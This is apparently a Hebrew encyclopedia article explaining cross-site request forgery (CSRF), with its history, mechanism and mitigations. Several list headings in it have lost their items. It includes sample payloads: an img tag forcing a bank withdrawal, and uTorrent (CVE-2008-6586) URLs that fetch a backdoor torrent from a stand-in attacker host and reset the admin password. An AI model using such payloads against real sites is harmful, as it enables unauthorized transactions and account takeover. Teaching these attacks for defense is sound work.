CSRF (אנגלית: Cross Site Request Forgery) היא התקפה נגד גולש אינטרנט המאלצת את דפדפן האינטרנט של הגולש לבצע פעולות לא רצוניות ביישומי אינטרנט בשמו של המשתמש בשירות באמצעות ניצול מגבלות בפרוטוקול HTTP.
בהתקפה זו התוקף, על ידי הרצת קוד בצורה סמויה, מבצע פעולות שונות בשם הקורבן, כגון: לגרום למשתמש להעביר כספים לגורם שלישי, לרכוש פריטים שונים, לשנות כתובת דואר אלקטרוני מוגדרת לכתובת אחרת, או להחליף תמונת פרופיל, כל זאת מבלי שהקורבן מודע לביצוע פעולות אלה.
התקפות CSRF התגלו לראשונה בשנת 2001 לאחר מספר מקרים שונים. למרות שהתגלו, היה קשה לאמת אותן כיוון שההתקפות התבצעו מכתובת ה-IP של המשתמש בשירות[1].
ההתקפה מתבצעת על ידי הצבת קישור לדף אינטרנט, פרסומת או תמונה, בפורומים, צ'אטים, דואר זבל ועוד. לאחר הלחיצה על הקישור, התוכנית מנסה לקבל גישה לאתר. לאחר שהמשתמש כבר אומת מול השרת, התוקף יוכל לבצע את פעולתו.
לדוגמה: בעזרת כישורי הנדסה חברתית תישלח אל הקורבן הודעה ותשכנע אותו ללחוץ על קישור/תמונה בהם התוקף הכניס תגים או סקריפטים:
"היי אליס! שמי בוב, ואני רוצה להציע לך ביטוח רכב ל-3 חודשים ללא עלות. לפרטים נוספים, לחצי על התמונה":
<img src="http://bank.example.com/withdraw?account=Alice&amount=1000000&for=attacker">
אם הבנק של אליס שומר את אימות המשתמש ובמקרה שתוקף העוגייה לא פג, לאחר שאליס תלחץ על התמונה, הדפדפן שלה ישלח בקשה להעברת כסף לחשבון של בוב ויאמת זאת באמצעות אותה העוגייה. משמעות הדבר שהעסקה תושלם בהצלחה, למרות שכל זה קורה ללא אישורה וידיעתה של אליס.
דוגמה נוספת:
פגיעות באתר הטורנטים הפופולרי uTorrent - יוטורנט (CVE-2008-6586) ניצלה את העובדה שהאתר נגיש ב-localhost:8080 ואפשרה לבצע פעולות פשוטות בעזרת פעולות GET פשוטות:
הורדת קובץ ללא הסכמת המשתמש:
http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent
שינוי סיסמאת האדמין של uTorrent - יוטורנט:
http://localhost:8080/gui/?action=setsetting&s=webui.password&v=eviladmin
ניתן להשתמש גם בהזנה מיוחדת של קוד HTML הנקראת BBCode באופן הבא:
[Img]http://localhost:8080/gui/?Action=add-url&shttp://evil.example.com/backdoor.torrent[/img]
במקרה של קשר בין יישום מקומי לבין קישור התקפי, הדפדפן ישלח באופן אוטומטי את כל קובצי העוגייה הקיימים של אותו היישום. תכונה זו מאפשרת להתקפות CSRF לנצל את הפגיעות שלהן ולבצע פעולות עוינות כל עוד המשתמש מחובר לאתר היעד בזמן ההתקפה.
התכונות הבאות מאפיינות התקפת CSRF:
כדי שהתקפה זו תצליח יש לשים לב למספר דברים:
בעקבות אילוצים אלה, ייתכן שתוקף יתקשה למצוא קורבנות.
הן משתמשים והן מפתחי אתרים יכולים למנוע התקפות CSRF פעילות.
התקפה מוצלחת דורשת מילוי שני תנאים:
ישנן מספר שיטות של מפתחי אתרים המקשות לבצע התקפות CSRF: